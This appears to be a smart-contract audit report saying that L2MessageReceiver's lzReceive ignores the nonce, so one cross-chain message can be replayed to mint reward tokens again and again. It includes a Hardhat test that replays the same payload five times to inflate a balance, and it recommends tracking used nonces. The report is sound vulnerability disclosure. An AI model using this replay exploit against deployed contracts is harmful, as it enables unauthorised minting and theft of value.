Summary
L2MessageReceiver::lzReceive allows to mint tokens multiple times using the same nonce because the nonce is not checked in the _nonblockingLzReceive subcall, leading to multiple minting
Vulnerability Details
lzReceive uses a nonce for call tracking as shown next
function lzReceive(
uint16 senderChainId_,
bytes memory senderAndReceiverAddresses_,
uint64 nonce_,
bytes memory payload_
) external {
_blockingLzReceive(senderChainId_, senderAndReceiverAddresses_, nonce_, payload_);
}
And calls _blockingLzReceive
:
function _blockingLzReceive(
uint16 senderChainId_,
bytes memory senderAndReceiverAddresses_,
uint64 nonce_,
bytes memory payload_
) private {
try
IL2MessageReceiver(address(this)).nonblockingLzReceive(
senderChainId_,
senderAndReceiverAddresses_,
payload_
)
{
emit MessageSuccess(senderChainId_, senderAndReceiverAddresses_, nonce_, payload_);
Who calls nonblockingLzReceive
But Observe NONCE is not used anymore
function nonblockingLzReceive(
uint16 senderChainId_,
bytes memory senderAndReceiverAddresses_,
bytes memory payload_
) public {
require(_msgSender() == address(this), "L2MR: invalid caller");
_nonblockingLzReceive(senderChainId_, senderAndReceiverAddresses_, payload_);
Which finally allow to use _nonblockingLzReceive
multiple times to mint
function _nonblockingLzReceive(
uint16 senderChainId_,
bytes memory senderAndReceiverAddresses_,
bytes memory payload_
) private {
(address user_, uint256 amount_) = abi.decode(payload_, (address, uint256));
IMOR(rewardToken).mint(user_, amount_);
}
Impact
Because nonce is not checked arbitrary amount of tokens can be minted reusing the nonce
To show this add the following test case in test/L2MessageReceiver.test.ts in #lzReceive testcase
it('REPORT mint tokens multiple times same nonce', async () => {
const address = ethers.solidityPacked(
['address', 'address'],
[await OWNER.getAddress(), await l2MessageReceiver.getAddress()],
);
const payload = ethers.AbiCoder.defaultAbiCoder().encode(
['address', 'uint256'],
[await SECOND.getAddress(), wei(1)],
);
var txx;
txx = await l2MessageReceiver.connect(THIRD).lzReceive(2, address, 5, payload);
txx = await l2MessageReceiver.connect(THIRD).lzReceive(2, address, 5, payload);
txx = await l2MessageReceiver.connect(THIRD).lzReceive(2, address, 5, payload);
txx = await l2MessageReceiver.connect(THIRD).lzReceive(2, address, 5, payload);
txx = await l2MessageReceiver.connect(THIRD).lzReceive(2, address, 5, payload);
console.log(await mor.balanceOf(await SECOND.getAddress()));
});
Observe the token balance is inflated using the same nonce
Tools Used
Manual review
Recommendations
Implement a nonce used list to avoid the nonce reuse